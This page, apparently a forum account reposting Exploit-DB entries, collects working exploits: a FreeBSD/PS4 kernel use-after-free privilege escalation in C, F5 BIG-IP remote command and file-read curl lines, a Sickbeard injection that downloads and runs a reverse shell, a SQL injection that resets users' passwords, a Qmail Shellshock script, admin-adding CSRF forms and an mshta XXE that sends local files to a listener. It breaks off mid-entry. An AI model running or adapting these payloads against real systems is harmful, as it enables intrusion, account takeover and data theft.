ISHACK AI BOT 发布的所有帖子
-
Sony Playstation 4 (PS4) < 7.02 / FreeBSD 9 / FreeBSD 12 - 'ip6_setpktopt' Kernel Local Privilege Escalation (PoC)
/* FreeBSD 12.0-RELEASE x64 Kernel Exploit Usage: $ clang -o exploit exploit.c -lpthread $ ./exploit */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stddef.h> #include <stdlib.h> #include <unistd.h> #include <pthread.h> #define _KERNEL #include <sys/event.h> #undef _KERNEL #define _WANT_FILE #include <sys/file.h> #include <sys/filedesc.h> #include <sys/param.h> #include <sys/proc.h> #include <sys/socket.h> #define _WANT_SOCKET #include <sys/socketvar.h> #include <netinet/in.h> #define _WANT_INPCB #include <netinet/in_pcb.h> #include <netinet/ip6.h> #include <netinet6/ip6_var.h> // #define FBSD12 #define ELF_MAGIC 0x464c457f #define IPV6_2292PKTINFO 19 #define IPV6_2292PKTOPTIONS 25 #define TCLASS_MASTER 0x13370000 #define TCLASS_SPRAY 0x41 #define TCLASS_TAINT 0x42 #define NUM_SPRAY_RACE 0x20 #define NUM_SPRAY 0x100 #define NUM_KQUEUES 0x100 #ifdef FBSD12 #define ALLPROC_OFFSET 0x1df3c38 #else #define ALLPROC_OFFSET 0xf01e40 #endif #define PKTOPTS_PKTINFO_OFFSET (offsetof(struct ip6_pktopts, ip6po_pktinfo)) #define PKTOPTS_RTHDR_OFFSET (offsetof(struct ip6_pktopts, ip6po_rhinfo.ip6po_rhi_rthdr)) #define PKTOPTS_TCLASS_OFFSET (offsetof(struct ip6_pktopts, ip6po_tclass)) #define PROC_LIST_OFFSET (offsetof(struct proc, p_list)) #define PROC_UCRED_OFFSET (offsetof(struct proc, p_ucred)) #define PROC_FD_OFFSET (offsetof(struct proc, p_fd)) #define PROC_PID_OFFSET (offsetof(struct proc, p_pid)) #ifdef FBSD12 #define FILEDESC_FILES_OFFSET (offsetof(struct filedesc, fd_files)) #define FILEDESCENTTBL_OFILES_OFFSET (offsetof(struct fdescenttbl, fdt_ofiles)) #define FILEDESCENTTBL_NFILES_OFFSET (offsetof(struct fdescenttbl, fdt_nfiles)) #define FILEDESCENT_FILE_OFFSET (offsetof(struct filedescent, fde_file)) #define FILE_TYPE_OFFSET (offsetof(struct file, f_type)) #define FILE_DATA_OFFSET (offsetof(struct file, f_data)) #else #define FILEDESC_OFILES_OFFSET (offsetof(struct filedesc, fd_ofiles)) #define FILEDESC_NFILES_OFFSET (offsetof(struct filedesc, fd_nfiles)) #define FILE_TYPE_OFFSET (offsetof(struct file, f_type)) #define FILE_DATA_OFFSET (offsetof(struct file, f_data)) #endif #define KNOTE_FOP_OFFSET (offsetof(struct knote, kn_fop)) #define FILTEROPS_DETACH_OFFSET (offsetof(struct filterops, f_detach)) #define SOCKET_PCB_OFFSET (offsetof(struct socket, so_pcb)) #define INPCB_OUTPUTOPTS_OFFSET (offsetof(struct inpcb, in6p_outputopts)) int kqueue(void); int kevent(int kq, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); static uint64_t kernel_base; static uint64_t p_ucred, p_fd; static uint64_t kevent_addr, pktopts_addr; static int triggered = 0; static int kevent_sock, master_sock, overlap_sock, victim_sock; static int spray_sock[NUM_SPRAY]; static int kq[NUM_KQUEUES]; static void hexDump(const void *data, size_t size) { size_t i; for(i = 0; i < size; i++) { printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n'); } printf("\n"); } static int new_socket(void) { return socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); } static void build_tclass_cmsg(char *buf, int val) { struct cmsghdr *cmsg; cmsg = (struct cmsghdr *)buf; cmsg->cmsg_len = CMSG_LEN(sizeof(int)); cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_TCLASS; *(int *)CMSG_DATA(cmsg) = val; } static int build_rthdr_msg(char *buf, int size) { struct ip6_rthdr *rthdr; int len; len = ((size >> 3) - 1) & ~1; size = (len + 1) << 3; memset(buf, 0, size); rthdr = (struct ip6_rthdr *)buf; rthdr->ip6r_nxt = 0; rthdr->ip6r_len = len; rthdr->ip6r_type = IPV6_RTHDR_TYPE_0; rthdr->ip6r_segleft = rthdr->ip6r_len >> 1; return size; } static int get_rthdr(int s, char *buf, socklen_t len) { return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, &len); } static int set_rthdr(int s, char *buf, socklen_t len) { return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len); } static int free_rthdr(int s) { return set_rthdr(s, NULL, 0); } static int get_tclass(int s) { int val; socklen_t len = sizeof(val); getsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, &len); return val; } static int set_tclass(int s, int val) { return setsockopt(s, IPPROTO_IPV6, IPV6_TCLASS, &val, sizeof(val)); } static int get_pktinfo(int s, char *buf) { socklen_t len = sizeof(struct in6_pktinfo); return getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, &len); } static int set_pktinfo(int s, char *buf) { return setsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, buf, sizeof(struct in6_pktinfo)); } static int set_pktopts(int s, char *buf, socklen_t len) { return setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, buf, len); } static int free_pktopts(int s) { return set_pktopts(s, NULL, 0); } static uint64_t leak_rthdr_ptr(int s) { char buf[0x100]; get_rthdr(s, buf, sizeof(buf)); return *(uint64_t *)(buf + PKTOPTS_RTHDR_OFFSET); } static uint64_t leak_kmalloc(char *buf, int size) { int rthdr_len = build_rthdr_msg(buf, size); set_rthdr(master_sock, buf, rthdr_len); #ifdef FBSD12 get_rthdr(master_sock, buf, rthdr_len); return *(uint64_t *)(buf + 0x00); #else return leak_rthdr_ptr(overlap_sock); #endif } static void write_to_victim(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; *(uint64_t *)(buf + 0x00) = addr; *(uint64_t *)(buf + 0x08) = 0; *(uint32_t *)(buf + 0x10) = 0; set_pktinfo(master_sock, buf); } static int find_victim_sock(void) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(pktopts_addr + PKTOPTS_PKTINFO_OFFSET); for (int i = 0; i < NUM_SPRAY; i++) { get_pktinfo(spray_sock[i], buf); if (*(uint64_t *)(buf + 0x00) != 0) return i; } return -1; } static uint8_t kread8(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(addr); get_pktinfo(victim_sock, buf); return *(uint8_t *)buf; } static uint16_t kread16(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(addr); get_pktinfo(victim_sock, buf); return *(uint16_t *)buf; } static uint32_t kread32(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(addr); get_pktinfo(victim_sock, buf); return *(uint32_t *)buf; } static uint64_t kread64(uint64_t addr) { char buf[sizeof(struct in6_pktinfo)]; write_to_victim(addr); get_pktinfo(victim_sock, buf); return *(uint64_t *)buf; } static void kread(void *dst, uint64_t src, size_t len) { for (int i = 0; i < len; i++) ((uint8_t *)dst)[i] = kread8(src + i); } static void kwrite64(uint64_t addr, uint64_t val) { int fd = open("/dev/kmem", O_RDWR); if (fd >= 0) { lseek(fd, addr, SEEK_SET); write(fd, &val, sizeof(val)); close(fd); } } static int kwrite(uint64_t addr, void *buf) { write_to_victim(addr); return set_pktinfo(victim_sock, buf); } static uint64_t find_kernel_base(uint64_t addr) { addr &= ~(PAGE_SIZE - 1); while (kread32(addr) != ELF_MAGIC) addr -= PAGE_SIZE; return addr; } static int find_proc_cred_and_fd(pid_t pid) { uint64_t proc = kread64(kernel_base + ALLPROC_OFFSET); while (proc) { if (kread32(proc + PROC_PID_OFFSET) == pid) { p_ucred = kread64(proc + PROC_UCRED_OFFSET); p_fd = kread64(proc + PROC_FD_OFFSET); printf("[+] p_ucred: 0x%lx\n", p_ucred); printf("[+] p_fd: 0x%lx\n", p_fd); return 0; } proc = kread64(proc + PROC_LIST_OFFSET); } return -1; } #ifdef FBSD12 static uint64_t find_socket_data(int s) { uint64_t files, ofiles, fp; int nfiles; short type; files = kread64(p_fd + FILEDESC_FILES_OFFSET); if (!files) return 0; ofiles = files + FILEDESCENTTBL_OFILES_OFFSET; nfiles = kread32(files + FILEDESCENTTBL_NFILES_OFFSET); if (s < 0 || s >= nfiles) return 0; fp = kread64(ofiles + s * sizeof(struct filedescent) + FILEDESCENT_FILE_OFFSET); if (!fp) return 0; type = kread16(fp + FILE_TYPE_OFFSET); if (type != DTYPE_SOCKET) return 0; return kread64(fp + FILE_DATA_OFFSET); } #else static uint64_t find_socket_data(int s) { uint64_t ofiles, fp; int nfiles; short type; ofiles = kread64(p_fd + FILEDESC_OFILES_OFFSET); if (!ofiles) return 0; nfiles = kread32(p_fd + FILEDESC_NFILES_OFFSET); if (s < 0 || s >= nfiles) return 0; fp = kread64(ofiles + s * sizeof(struct file *)); if (!fp) return 0; type = kread16(fp + FILE_TYPE_OFFSET); if (type != DTYPE_SOCKET) return 0; return kread64(fp + FILE_DATA_OFFSET); } #endif static uint64_t find_socket_pcb(int s) { uint64_t f_data; f_data = find_socket_data(s); if (!f_data) return 0; return kread64(f_data + SOCKET_PCB_OFFSET); } static uint64_t find_socket_pktopts(int s) { uint64_t in6p; in6p = find_socket_pcb(s); if (!in6p) return 0; return kread64(in6p + INPCB_OUTPUTOPTS_OFFSET); } static void cleanup(void) { uint64_t master_pktopts, overlap_pktopts, victim_pktopts; master_pktopts = find_socket_pktopts(master_sock); overlap_pktopts = find_socket_pktopts(overlap_sock); victim_pktopts = find_socket_pktopts(victim_sock); kwrite64(master_pktopts + PKTOPTS_PKTINFO_OFFSET, 0); kwrite64(overlap_pktopts + PKTOPTS_RTHDR_OFFSET, 0); kwrite64(victim_pktopts + PKTOPTS_PKTINFO_OFFSET, 0); } static void escalate_privileges(void) { char buf[sizeof(struct in6_pktinfo)]; *(uint32_t *)(buf + 0x00) = 0; // cr_uid *(uint32_t *)(buf + 0x04) = 0; // cr_ruid *(uint32_t *)(buf + 0x08) = 0; // cr_svuid *(uint32_t *)(buf + 0x0c) = 1; // cr_ngroups *(uint32_t *)(buf + 0x10) = 0; // cr_rgid kwrite(p_ucred + 4, buf); } static int find_overlap_sock(void) { set_tclass(master_sock, TCLASS_TAINT); for (int i = 0; i < NUM_SPRAY; i++) { if (get_tclass(spray_sock[i]) == TCLASS_TAINT) return i; } return -1; } static int spray_pktopts(void) { for (int i = 0; i < NUM_SPRAY_RACE; i++) set_tclass(spray_sock[i], TCLASS_SPRAY); if (get_tclass(master_sock) == TCLASS_SPRAY) return 1; for (int i = 0; i < NUM_SPRAY_RACE; i++) free_pktopts(spray_sock[i]); return 0; } static void *use_thread(void *arg) { char buf[CMSG_SPACE(sizeof(int))]; build_tclass_cmsg(buf, 0); while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) { set_pktopts(master_sock, buf, sizeof(buf)); #ifdef FBSD12 usleep(100); #endif } triggered = 1; return NULL; } static void *free_thread(void *arg) { while (!triggered && get_tclass(master_sock) != TCLASS_SPRAY) { free_pktopts(master_sock); #ifdef FBSD12 if (spray_pktopts()) break; #endif usleep(100); } triggered = 1; return NULL; } static int trigger_uaf(void) { pthread_t th[2]; pthread_create(&th[0], NULL, use_thread, NULL); pthread_create(&th[1], NULL, free_thread, NULL); while (1) { if (spray_pktopts()) break; #ifndef FBSD12 usleep(100); #endif } triggered = 1; pthread_join(th[0], NULL); pthread_join(th[1], NULL); return find_overlap_sock(); } static int fake_pktopts(uint64_t pktinfo) { char buf[0x100]; int rthdr_len, tclass; // Free master_sock's pktopts free_pktopts(overlap_sock); // Spray rthdr's to refill master_sock's pktopts rthdr_len = build_rthdr_msg(buf, 0x100); for (int i = 0; i < NUM_SPRAY; i++) { *(uint64_t *)(buf + PKTOPTS_PKTINFO_OFFSET) = pktinfo; *(uint32_t *)(buf + PKTOPTS_TCLASS_OFFSET) = TCLASS_MASTER | i; set_rthdr(spray_sock[i], buf, rthdr_len); } tclass = get_tclass(master_sock); // See if pktopts has been refilled correctly if ((tclass & 0xffff0000) != TCLASS_MASTER) { printf("[-] Error could not refill pktopts.\n"); exit(1); } return tclass & 0xffff; } static void leak_kevent_pktopts(void) { char buf[0x800]; struct kevent kv; EV_SET(&kv, kevent_sock, EVFILT_READ, EV_ADD, 0, 5, NULL); // Free pktopts for (int i = 0; i < NUM_SPRAY; i++) free_pktopts(spray_sock[i]); // Leak 0x800 kmalloc addr kevent_addr = leak_kmalloc(buf, 0x800); printf("[+] kevent_addr: 0x%lx\n", kevent_addr); // Free rthdr buffer and spray kevents to occupy this location free_rthdr(master_sock); for (int i = 0; i < NUM_KQUEUES; i++) kevent(kq[i], &kv, 1, 0, 0, 0); // Leak 0x100 kmalloc addr pktopts_addr = leak_kmalloc(buf, 0x100); printf("[+] pktopts_addr: 0x%lx\n", pktopts_addr); // Free rthdr buffer and spray pktopts to occupy this location free_rthdr(master_sock); for (int i = 0; i < NUM_SPRAY; i++) set_tclass(spray_sock[i], 0); } int main(int argc, char *argv[]) { uint64_t knote, kn_fop, f_detach; int idx; printf("[*] Initializing sockets...\n"); kevent_sock = new_socket(); master_sock = new_socket(); for (int i = 0; i < NUM_SPRAY; i++) spray_sock[i] = new_socket(); for (int i = 0; i < NUM_KQUEUES; i++) kq[i] = kqueue(); printf("[*] Triggering UAF...\n"); idx = trigger_uaf(); if (idx == -1) { printf("[-] Error could not find overlap sock.\n"); exit(1); } // master_sock and overlap_sock point to the same pktopts overlap_sock = spray_sock[idx]; spray_sock[idx] = new_socket(); printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx); // Reallocate pktopts for (int i = 0; i < NUM_SPRAY; i++) { free_pktopts(spray_sock[i]); set_tclass(spray_sock[i], 0); } // Fake master pktopts idx = fake_pktopts(0); overlap_sock = spray_sock[idx]; spray_sock[idx] = new_socket(); // use new socket so logic in spraying will be easier printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx); // Leak address of some kevent and pktopts leak_kevent_pktopts(); // Fake master pktopts idx = fake_pktopts(pktopts_addr + PKTOPTS_PKTINFO_OFFSET); overlap_sock = spray_sock[idx]; printf("[+] Overlap socket: %x (%x)\n", overlap_sock, idx); idx = find_victim_sock(); if (idx == -1) { printf("[-] Error could not find victim sock.\n"); exit(1); } victim_sock = spray_sock[idx]; printf("[+] Victim socket: %x (%x)\n", victim_sock, idx); printf("[+] Arbitrary R/W achieved.\n"); knote = kread64(kevent_addr + kevent_sock * sizeof(uintptr_t)); kn_fop = kread64(knote + KNOTE_FOP_OFFSET); f_detach = kread64(kn_fop + FILTEROPS_DETACH_OFFSET); printf("[+] knote: 0x%lx\n", knote); printf("[+] kn_fop: 0x%lx\n", kn_fop); printf("[+] f_detach: 0x%lx\n", f_detach); printf("[+] Finding kernel base...\n"); kernel_base = find_kernel_base(f_detach); printf("[+] Kernel base: 0x%lx\n", kernel_base); printf("[+] Finding process cred and fd...\n"); find_proc_cred_and_fd(getpid()); printf("[*] Escalating privileges...\n"); escalate_privileges(); printf("[*] Cleaning up...\n"); cleanup(); printf("[+] Done.\n"); return 0; }
-
BIG-IP 15.0.0 < 15.1.0.3 / 14.1.0 < 14.1.2.5 / 13.1.0 < 13.1.3.3 / 12.1.0 < 12.1.5.1 / 11.6.1 < 11.6.5.1 - Traffic Management User Interface 'TMUI' Remote Code Execution (PoC)
## RCE: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' ## Read File: curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
-
Sickbeard 0.1 - Remote Command Injection
# Exploit Title: Sickbeard 0.1 - Remote Command Injection # Google Dork: https://www.shodan.io/search?query=sickbeard # Date: 2020-06-06 # Exploit Author: bdrake # Vendor Homepage: https://sickbeard.com/ # Software Link: https://github.com/midgetspy/Sick-Beard # Version: alpha (master) -- git : 31ceaf1b5cab1884a280fe3f4609bdc3b1fb3121 # Tested on: Fedora 32 # CVE : NA #!/usr/bin/env python3 import requests import sys HOST = 'http://localhost:8081/' # path to local video for processing # see HOST + home/postprocess PROCESS_DIR = '/directory/changeme' # Auth is disabled on default installation USERNAME = '' PASSWORD = '' # see "Extra Scripts" field. HOST + config/hidden/ # multiple commands can be entered separated by '|' CMD = 'wget -t 2 -T 1 -O /tmp/reverse_shell.py http://localhost/reverse_shell.py | python /tmp/reverse_shell.py' def post_request(url, data): try: requests.post(url=url, data=data, auth=(USERNAME, PASSWORD)) except requests.exceptions.RequestException as e: print(repr(e)) sys.exit(1) def set_extra_scripts(): data = { 'anon_redirect': 'http://dereferer.org/?', 'display_all_seasons': 'on', 'git_path': '', 'extra_scripts': CMD } post_request(HOST+'config/hidden/saveHidden', data) def process_episode(): data = { 'dir': PROCESS_DIR, 'method': 'Manual', 'force_replace': 'on' } post_request(HOST+'home/postprocess/processEpisode', data) def main(): try: print('setting scripts...') set_extra_scripts() print('processing episode. might take a few seconds...') process_episode() except KeyboardInterrupt: print('exit...') if __name__ == '__main__': main()
-
Online Shopping Portal 3.1 - 'email' SQL Injection
# Exploit Title: Online Shopping Portal 3.1 - 'email' SQL Injection # Date: 2020-07-06 # Exploit Author: gh1mau # Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/ # Vendor Homepage: https://phpgurukul.com/shopping-portal-free-download/ # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7393 # Version: V3.1 # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64) Info: ----- [+] Attacker can change all user's password from the forgot-password.php page and login to their account. Vulnerable File: ---------------- /forgot-password.php Vulnerable Code: ----------------- line 8: $email=$_POST['email']; Vulnerable Issue: ----------------- $email=$_POST['email']; has no sanitization POC: ---- import requests url = "http://localhost:80/shopping/forgot-password.php" password = "gh1mau" payload = "email=saya%40saya.com' or '1'='1'#&contact=1234&password=" + password + "&confirmpassword=" + password + "&change=" headers = { "Origin": "http://localhost", "Cookie": "PHPSESSID=pq2dc9oja60slrifcfjuq7vhf0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", "Connection": "close", "Referer": "http://localhost/shopping/forgot-password.php", "Host": "localhost", "Accept-Encoding": "gzip, deflate", "Upgrade-Insecure-Requests": "1", "Accept-Language": "en-US,en;q=0.5", "Content-Length": "96", "Content-Type": "application/x-www-form-urlencoded" } response = requests.request("POST", url, data=payload, headers=headers) print("[+] Try login with password : " + password)
-
Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection
# Exploit Title: Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection # Date: 2020-06-17 # Exploit Author: Mehmet Kelepçe / Gais Cyber Security # Vendor Homepage: https://joomsky.com/ # Software Link: https://joomsky.com/products/js-jobs-pro.html # Change Log (Update) : https://joomsky.com/products/js-jobs.html # Version: 1.3.0 # Tested on: Kali Linux - Apache2 Vulnerable param: sortby ------------------------------------------------------------------------- POST /joomla/administrator/index.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/joomla/administrator/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 233 Connection: close Cookie: COOKIES Upgrade-Insecure-Requests: 1 js_sortby=4&companyname=12&jobtitle=12&location=12&jobcategory=&jobtype=&datefrom=&dateto=&option=com_jsjobs&task=&c=job&view=job&callfrom=jobqueue&layout=jobqueue&sortby=asc&my_click=&boxchecked=0&d90ced5aa929447644f09b56c8d8ba12=1 ------------------------------------------------------------------------- sqlmap poc: sqlmap -r jsjobs --dbs --risk=3 --level=5 --random-agent -p sortby
-
Qmail SMTP 1.03 - Bash Environment Variable Injection
# Exploit Title: Qmail SMTP 1.03 - Bash Environment Variable Injection # Date: 2020-07-03 # Exploit Author: 1F98D # Original Authors: Mario Ledo, Mario Ledo, Gabriel Follon # Version: Qmail 1.03 # Tested on: Debian 9.11 (x64) # CVE: CVE-2014-6271 # References: # http://seclists.org/oss-sec/2014/q3/649 # https://lists.gt.net/qmail/users/138578 # # Qmail is vulnerable to a Shellshock vulnerability due to lack of validation # in the MAIL FROM field. # #!/usr/local/bin/python3 from socket import * import sys if len(sys.argv) != 4: print('Usage {} <target ip> <email adress> <command>'.format(sys.argv[0])) print("E.g. {} 127.0.0.1 'root@debian' 'touch /tmp/x'".format(sys.argv[0])) sys.exit(1) TARGET = sys.argv[1] MAILTO = sys.argv[2] CMD = sys.argv[3] s = socket(AF_INET, SOCK_STREAM) s.connect((TARGET, 25)) res = s.recv(1024) if 'ESMTP' not in str(res): print('[!] No ESMTP detected') print('[!] Received {}'.format(str(res))) print('[!] Exiting...') sys.exit(1) print('[*] ESMTP detected') s.send(b'HELO x\r\n') res = s.recv(1024) if '250' not in str(res): print('[!] Error connecting, expected 250') print('[!] Received: {}'.format(str(res))) print('[!] Exiting...') sys.exit(1) print('[*] Connected, sending payload') s.send(bytes("MAIL FROM:<() {{ :; }}; {}>\r\n".format(CMD), 'utf-8')) res = s.recv(1024) if '250' not in str(res): print('[!] Error sending payload, expected 250') print('[!] Received: {}'.format(str(res))) print('[!] Exiting...') sys.exit(1) print('[*] Payload sent') s.send(bytes('RCPT TO:<{}>\r\n'.format(MAILTO), 'utf-8')) s.recv(1024) s.send(b'DATA\r\n') s.recv(1024) s.send(b'\r\nxxx\r\n.\r\n') s.recv(1024) s.send(b'QUIT\r\n') s.recv(1024) print('[*] Done')
-
BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation
# Exploit Title: BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation # Date: 2020-07-06 # Exploit Author: William Summerhill # Vendor homepage: https://www.globalradar.com/ # Version: BSA Radar - Version 1.6.7234.24750 and lower # CVE-2020-14945 - Privilege Escalation Description: A privilege escalation vulnerability exists within Global RADAR BSA Radar 1.6.7234.X that allows an authenticated, low-privileged user to escalate their privileges to administrator rights (i.e. the "BankAdmin" role) via a forged request to the SaveUser API. Proof of Concept: The privilege escalation is achieved by saving the response of the GetUser request (from clicking the username in the top right). When this profile is saved it will send a request to the SaveUserProfile endpoint. This response can be saved and modified (while updating it as needed to escalate privileges to BankAdmin role) then sent to the SaveUser endpoint which is the endpoint used for admins to update privileges of any user. After successful privilege escalation, a user can then access the Administration features and modify the application or accounts, cause further damage to the application and users, or exfiltrate application data. HTTP Request PoC: POST /WS/AjaxWS.asmx/SaveUser {"user": {"UserID":<CURRENT USER ID>,"Username":"...","Firstname":"...","Lastname":"...","Email":"...","BranchID":"...","Role":"BANKADMIN","WireLimit":"XXXXXXX","BankID":"...","Permissions":["XXXXXXXXXXXXXXX"], <REMAINDER OF REQUEST HERE> } } The Role, WireLimit and Permissions parameters can be forged to forcefully change your current user permissions to elevate them to a higher role such as BankAdmin with full account modification permissions. Tested on: Windows CVE: CVE-2020-14945 Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14945
-
Microsoft Windows mshta.exe 2019 - XML External Entity Injection
# Exploit Title: Microsoft Windows mshta.exe 2019 - XML External Entity Injection # Date: 2020-07-07 # Exploit Author: hyp3rlinx # Vendor homepage: https://www.microsofft.com/ # CVE: N/A [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-MSHTA-HTA-FILE-XML-EXTERNAL-ENTITY-INJECTION.txt [+] twitter.com/hyp3rlinx [+] ISR: ApparitionSec [Vendor] www.microsoft.com [Product] Windows MSHTA.EXE .HTA File An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages supported by Internet Explorer, such as VBScript or JScript. The HTML is used to generate the user interface, and the scripting language is used for the program logic. An HTA executes without the constraints of the internet browser security model; in fact, it executes as a "fully trusted" application. [Vulnerability Type] XML External Entity Injection [Impact] Information disclosure, Recon [CVE Reference] N/A [Security Issue] Windows mshta.exe allows processing of XML External Entitys, this can result in local data-theft and or program reconnaissance upon opening specially crafted HTA files. From an attacker perspective, since we are not dependent on scripting languages like Javascript, VBScript or WScript.Shell, we may have better chances at subverting endpoint protection systems as we are only using XML markup. HTA exploits found online typically show code execution, with reliance on ActiveX Objects and scripting engines and hence are more easily detected by security products. Many of these exploits also use payload obfuscation techniques for stealth. However, I found nothing publicly documented that leverages XML injection targeting the mshta.exe HTA file-type. Yea I know, no code execution. However, we get stealthy data theft with recon capabilities. Armed with this info, we can more accurately target potential software vulnerabilities at a later date from info gathering a systems program installations. Usually, this type of recon is seen in first-stage malware infections using the Windows CreateToolhelp32Snapshot API. Therefore, since theres no documented HTA exploits using XXE attacks for this file type, I release the advisory. Successfully tested on Windows 10 and Windows Servers 2016, 2019. [Exploit/POC] Multi program recon and check if running in a Virtual Machine all in a single HTA file, change IP accordingly. 1) "Doit.hta" <?xml version="1.0"?> <!-- VMware check --> <xml> <!DOCTYPE xxe4u [ <!ENTITY % file SYSTEM "C:\ProgramData\VMware\VMware Tools\manifest.txt"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd"> %dtd;]> <pwn>&send;</pwn> </xml> <!-- Notepad++ install check --> <xml> <!DOCTYPE xxe4u [ <!ENTITY % file SYSTEM "C:\Program Files (x86)\Notepad++\change.log"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd"> %dtd;]> <pwn>&send;</pwn> </xml> <!-- McAfee AV install check --> <xml> <!DOCTYPE xxe4u [ <!ENTITY % file SYSTEM "C:\ProgramData\McAfee\MCLOGS\VSCoreVersionInfo.txt"> <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/datatears.dtd"> %dtd;]> <pwn>&send;</pwn> </xml> <HTA:APPLICATION WINDOWSTATE="minimize" /> 2) The "datatears.dtd" DTD file hosted on attackers server. <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>"> %all; 3) Local Python v3 web-server listening on port 8000 to receive victims info. python -m http.server [POC Video URL] https://www.youtube.com/watch?v=XaTrBEu4Ghw [Network Access] Remote [Severity] High [Disclosure Timeline] MSHTA .HTA files are classified untrusted, many threats already well known. July 4, 2020 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx
-
SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin)
# Exploit Title: SuperMicro IPMI 03.40 - Cross-Site Request Forgery (Add Admin) # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.supermicro.com/ # Software Link: https://www.supermicro.com/en/solutions/management-software/bmc-resources # Version: X10DRH-iT motherboards with BIOS 2.0a and IPMI firmware 03.40 # CVE: CVE-2020-15046 # Source: https://www.totalpentest.com/post/supermicro-ipmi-webgui-cross-site-request-forgery # Description: # The web interface on Supermicro X10DRH-iT motherboards with BIOS 2.0a and # IPMI firmware 03.40 # allows remote attackers to exploit a cgi/config_user.cgi CSRF issue to add new admin users. # The fixed versions are BIOS 3.2 and firmware 03.88. # PoC : <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://SuperMicro-IP/cgi/config_user.cgi" method="POST"> <input type="hidden" name="username" value="JOKER" /> <input type="hidden" name="original_username" value="2" /> <input type="hidden" name="password" value="onebadday" /> <input type="hidden" name="new_privilege" value="4" /> <input type="submit" value="submit request" /> </form> </body> </html>
-
BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)
# Exploit title: BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password) # Exploit Author: William Summerhill # Date: 2020-06-22 # Vendor Homepage:bhttps://www.globalradar.com/ # Version: BSA Radar - Version 1.6.7234.24750 and lower # CVE: CVE-2020-14944 # Description: The Global RADAR BSA Radar 1.6.7234.X application lacks valid authorization # controls in multiple functions while logged into the application. # This can allow for manipulation and takeover of user accounts if successfully exploited. # The following vulnerable functions are exposed: ChangePassword, SaveUserProfile, GetUser Proof of Concept: 1. ChangePassword API endpoint - Allows the ability to update the password belonging to another account by their UserID, and therefore leading to account takeover. HTTP Request PoC: POST /WS/AjaxWS.asmx/ChangePassword {"password": {"UserID":XXXX,"NewPassword":"NEWPASSHERE","NewPasswordConfirm":"NEWPASSHERE",<REMAINDER OF REQUEST HERE>} } The UserID and NewPassword parameters can be forged to force the password change of another existing user account by using their UserID. 2. SaveUserProfile API endpoint - Allows the ability to update the user profile belonging to another account by using their UserID. This includes modifiable details like first name, last name, email, and phone number. This also allows for injection of a Stored Cross-Site Scripting (XSS) into arbitrary user account profiles as the first name and last name parameters are vulnerable. This can allow for session hijacking, stealing application data or redirecting users to attacker-controlled applications for phishing attacks. HTTP Request PoC: POST /WS/AjaxWS.asmx/SaveUserProfile {"user": {"UserID":XXXX,"BankID":XXX,"Firstname":<ARBITRARY INPUT HERE OR STORED XSS 